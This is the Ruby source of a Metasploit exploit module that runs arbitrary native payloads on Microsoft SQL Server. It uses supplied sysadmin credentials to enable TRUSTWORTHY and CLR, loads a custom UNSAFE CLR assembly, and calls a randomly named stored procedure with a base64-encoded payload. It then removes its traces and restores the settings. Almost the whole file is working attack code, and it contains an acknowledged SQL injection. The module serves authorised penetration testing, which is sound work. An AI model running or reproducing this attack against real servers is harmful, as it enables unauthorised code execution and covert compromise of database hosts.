## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution', 'Description' => %q{ This module executes an arbitrary native payload on a Microsoft SQL server by loading a custom SQL CLR Assembly into the target SQL installation, and calling it directly with a base64-encoded payload. The module requires working credentials in order to connect directly to the MSSQL Server. This method requires the user to have sufficient privileges to install a custom SQL CRL DLL, and invoke the custom stored procedure that comes with it. This exploit does not leave any binaries on disk. Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64). }, 'Author' => [ 'Lee Christensen', # original idea/research 'Nathan Kirk', # extra research/blog post 'OJ Reeves' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/'] ], 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 1999' )) register_options( [ OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master']) ]) end def check unless mssql_login_datastore(datastore['DATABASE']) vprint_status('Invalid SQL Server credentials') return Exploit::CheckCode::Detected end version = get_sql_version_string unless version =~ /Server 20(05|08|12|14|16)/ vprint_status('Unsupported version of SQL Server') return Exploit::CheckCode::Safe end if mssql_is_sysadmin vprint_good "User #{datastore['USERNAME']} is a sysadmin" Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end ensure disconnect end def get_sql_version_string mssql_query("select @@version", false)[:rows].first[0] end def get_sql_architecture(sql_version_string) if sql_version_string =~ /(64-bit|x64)/i ARCH_X64 else ARCH_X86 end end def get_exploit_version(sql_version_string) # keeping it simple at this point. if sql_version_string =~ /Server (2005|2008|2012)/ 'v3.5' else # assume 2014/2016 at this point. 'v4.0' end end def set_trustworthy(on) mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false) end def is_trustworthy # SQLi in MSF!! OMG! result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false) result[:rows][0] == 'ON' end def enable_clr(enable) query = %Q^ EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'clr enabled', #{enable ? 1 : 0}; RECONFIGURE; ^ mssql_query(query, false) end def is_clr_enabled result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false) result[:rows][0] == 'ON' end def exploit unless mssql_login_datastore(datastore['DATABASE']) fail_with(Failure::BadConfig, 'Unable to login with the given credentials') end unless mssql_is_sysadmin fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions') end # This module will only support 'thread' for EXITFUNC # Bad things happen to SQL otherwise! unless datastore['EXITFUNC'] == 'thread' print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server") datastore['EXITFUNC'] = 'thread' end sql_version = get_sql_version_string vprint_status("Target SQL Version is:\n#{sql_version}") sql_arch = get_sql_architecture(sql_version) unless payload.arch.first == sql_arch fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}") end trustworthy = is_trustworthy clr_enabled = is_clr_enabled unless trustworthy print_status('Database does not have TRUSTWORTHY setting on, enabling ...') set_trustworthy(true) end unless clr_enabled print_status('Database does not have CLR support enabled, enabling ...') enable_clr(true) end exploit_version = get_exploit_version(sql_version) print_status("Using version #{exploit_version} of the Payload Assembly") exploit_file_path = ::File.join(Msf::Config.install_root, 'data', 'SqlClrPayload', exploit_version, 'SqlClrPayload.dll') vprint_status("Using #{exploit_file_path}") assembly = ::File.read(exploit_file_path) # Convert the assembly to the required format for execution of the stored # procedure to create the custom stored proc hex_assembly = "0x#{assembly.unpack('H*')[0]}" asm_name = Rex::Text.rand_text_alpha(rand(4) + 8) query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE" print_status('Adding custom payload assembly ...') mssql_query(query, false) proc_name = Rex::Text.rand_text_alpha(rand(4) + 8) param_name = Rex::Text.rand_text_alpha(rand(4) + 8) query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]" print_status('Exposing payload execution stored procedure ...') mssql_query(query, false) # Generate the base64 encoded payload b64payload = Rex::Text.encode_base64(payload.encoded) query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'" print_status('Executing the payload ...') mssql_query(query, false) print_status('Removing stored procedure ...') mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false) print_status('Removing assembly ...') mssql_query("DROP ASSEMBLY [#{asm_name}]", false) unless clr_enabled print_status('Restoring CLR setting ...') enable_clr(false) end unless trustworthy print_status('Restoring Trustworthy setting ...') set_trustworthy(false) end ensure disconnect end end